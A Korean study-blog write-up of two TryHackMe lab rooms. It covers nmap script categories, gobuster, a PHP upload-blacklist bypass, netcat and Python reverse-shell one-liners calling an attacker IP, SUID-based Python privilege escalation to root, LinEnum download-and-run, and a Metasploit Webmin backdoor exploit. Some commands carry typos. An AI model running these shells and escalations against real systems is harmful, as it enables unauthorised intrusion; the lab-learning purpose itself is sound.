wonder
정보보안 스터디 - 22주차 2일 - tryhackme task 5,8 본문

☞ tryhackme task 8 (root me)

nmap -sC = --script default와 같습니다. |
nmap --script 카테고리/디렉토리/파일이름 |
nmap --script-help 카테고리 자세한 관련 스크립트 정보, 설명을 확인할 수 있습니다. |
☞ nse 카테고리 종류
default SSL 관련 스크립트(nse)가 포함되어 있고 여러가지가 적용되어 있습니다. 일반스캔도 default로 시도해보는 것이 좋습니다. |
auth 인증 자격 증명 처리 또는 우회 |
broadcast 브로드캐스트로 내부 네트워크 호스트를 탐색합니다. 관련 결과 |
brute brute force attack을 합니다. |
exploit jdwp-exec, http-shellshock 같이 취약점에대한 exploit을 시도합니다. |
discovery 네트워크 탐색 관련 |
dos DOS 공격 유발 |
safe 상대적으로 안전한 부작용을 일으키지 않는 서비스들을 보여줍니다. |
malware 대상 플랫폼이 맬웨어, 백도어에 감염되었는지 여부를 테스트합니다. |
version http라면 apache 버전임을 확인할 수 있습니다. 하지만 안나오는 부분도 있기 때문에 -sV가 더 정확할 듯 합니다. |
참고로 엔터누르면 진행 상황을 알 수 있습니다.

gobuster dir -w -u -t 60 로 upload페이지 경로를 확인했습니다. 참고로 dirb/common.txt 도 괜찮습니다.
현재 웹서버에서 php를 블랙리스트로 막고있기 때문에 php3, php5, phtml 업로드를 시도해보니 php3을 제외하고 모두 우회 및 적용이 가능했습니다.
참고로 WAS서버 엔진이 뭔지 모른다면
index.php/jsp/asp/html로 시도해봅니다.
>>> nmap 으로 봤을 때 PHPSESSION이고 apache기반이므로 php임을 확인해야합니다.
또한 다른 경로는 디렉토리 리스팅이 나왔지만, 나머지는 하위디렉에 index.php가 있으니 페이지가 뜬다는 것을 예측할 수 있습니다.
gobuster로 디렉토리경로를 찾는 것도 도움됩니다.

++++추가)
https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php
쉘을 웹에서 실행하는 게 아니라 바로 리버스쉘로 들어가려면 흔히알려진 리버스쉘을 github에서가져와 사용합니다.
너무 유명해서 칼리에도 있습니다.
+++) 만약 nc가 연결되고 들어갔다면
편하게 볼수 있도록 유저이름이 나오는 bash쉘로 실행하도록합니다.
python3 -c 'imiport pty;pty.spawn("/bin/bash")'
tty를 불러오는 건데 /bin/bash로 실행하는게 됩니다.
webshell을 실행시켜 들어갔지만 명령어가 실행이 안되거나, 일부 결과가 뜨지 않아 불편합니다.(errro log를 확인하는 방법도 있긴 합니다.)
kali 터미널로 쉘을 전달해줍니다. netcat으로 리버스쉘을 시도합니다.
nc(netcat) -nvlp 4444
공격자에서 리슨상태로 만들어줍니다.
nc -e /bin/bash 10.4.17.200 4444
피해자에서 /bin/bash (또는 /bin/sh) 쉘을 공격자IP:4444포트에 허락해줍니다.
하지만 웹서버에 nc가 깔려는 있지만 작동이 안될 수도 있습니다. 그러면 bind_tcp 도 안된다고 예측해볼 수 있습니다.
이럴 때면
find / -perm -4000 2> /dev/null
SUID를 포함한 /usr/bin, sbin 명령어 위주로 찾습니다.
파이썬을 SUID로 허용해두었기 때문에 파이썬 코드를 이용한 리버스쉘 전달이 가능합니다.
php코드도 사용할 수 있는 듯합니다.
+++)
find -perm -4000도 좋지만
github에서 가져온 코드를 실행시켜
권한상승할 수 있는 요소들을 스캔합니다.
wget [~LinEnum.sh]
chmod +x ./LimEnum.sh
./LimEnum.sh
권한 상승 요소들이 쭉쭉 나옵니다.
python -c 'import sys,socket,os,pty;s=socket.socket() s.connect((os.getenv("10.4.17.200"),
int(os.getenv("4444")))) [os.dup2(s.fileno(),fd) for fd in (0,1,2)] pty.spawn("/bin/sh")'
GTFOBins에 나온 코드는 엔터처리를 제거해도 먹히지 않으니 따로 검색하여 찾아봅니다.
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.4.17.200",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
(socket연결하는 코드)
파이썬으로 리버스쉘만 둔 상태이기 때문에 루트로 권한상승을 해야합니다.
python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
루트쉘을 계속해서 지속해서 실행하도록 합니다.
os라는 모듈을 불러오고
os안에서 execl
/bin/sh 라는 새로운 프로세스 실행
플래그는 -p : 내가 가지고 있는 가장높은 쉘을 실행하겠다.
이건 아마 /bin/bash로도할수 있을 듯 합니다.
id로 확인했을 때는 euid(effective)실제 uid는 root임을 알 수 있습니다.

SUID로 루트가 되었습니다.

현재 root라는 디렉토리 자체에 접근 및 읽기, 쓰기, 실행 등 모든 권한이 본인만 가능합니다.
☞ task 5

일단 nmap 기본(-sT = TCP open scan)으로 진행하고
이후로는 서비스중인 22, 10000 포트들만 선별해서 스캔합니다.
nmap --script banner 배너 그래빙 확인가능하지만 -sV가 더 좋습니다. |
nmap -sV telnet, ssh, webmin 등의 서비스에서 해당 배너 그래빙, 정보를 자세히 확인할 수 있습니다. 그냥 기본 스캔 했을 때는 웹서버인줄도 몰랐는데. http 서비스 > miniserv라는 웹서버로 나옵니다. |
nmap -Pn ping없이 호스트 탐색없이 포트 스캔합니다. |
nmap -oA 모든 결과를 output파일로 저장합니다. |
사실 nmap에 저장된 스크립트에는 한계가 있기 때문에
해당 버전을 확인하고 exploit-db에서 CVE정보, exploit 코드를 확인해야합니다.
현재는 searchsploit은 exploit-db 인터넷에 저장된 정보들을 검색할 수 있습니다. 기본적으로 깔려있습니다.
searchsploit webmin 1.890 -w
사이트링크로 보여줍니다.
따라서 버전에 최대한 가까운 (최신으로 나온) 취약점들을 적용시켜 보는 것입니다.
1.920을 확인해보니 RCE(Remote Code Execution)와 Unauthenticated REC 가 뜨는데 un은 사용자 권한(로그인)이 없어도 실행가능하기 때문에 더 심각합니다.
1.890 부터 ~ exploit가능한 코드라고 주석에 설명해줍니다.
현재는 msf로 exploit을 시도하고 있지만, 원래는 github repo, exploit-db에서 직접코드를 가져오는 것이 정석입니다.
exploit > webmin_backdoor를 선택 해주고
show options에서
중요한건
rhost, rport 타겟 지정,
lhost 리슨할 내 IP주소 지정 해줍니다.
여기서 nc로 리슨하지 않아도 됩니다. 그냥 알아서 리슨해주고 리버스쉘을 연결해줍니다.

바로 exploit 되어 루트쉘을 획득하였습니다.
flag.txt를 찾습니다.
확실히 고생하면서 검색하고 찾다가 문제를 해결하는 것은 중독적입니다.
아직도 워드 매크로 활용 공격이 성행하고(예전버전?)
emotet 이라는 그룹을 포함한 다른 공격자들은 악성링크를 두는 경우는 거의 없고 전부 대용량파일로 첨부합니다. 보안솔루션이 스캔 파일 클 경우 앞의 일부만 검사하고 나머지 부분은 뛰어 넘기 때문입니다.

'Red Team > My 프로젝트' 카테고리의 다른 글
정보보안 스터디 - 29주차 5일 - 레드팀 인프라 구축 (1) | 2023.05.02 |
---|---|
정보보안 스터디 - 25주차 5일 - exe파일을 막아놨을 때 (0) | 2023.04.04 |
정보보안 스터디 - 25주차 4일 - 윈도우 OS, SMB 취약점 task (1) | 2023.04.03 |
정보보안 스터디 - 23주차 2일 - tryhackme task 6 (1) | 2023.03.18 |
정보보안 스터디 - 20주차 7일 - tryhackme CTF (0) | 2023.03.01 |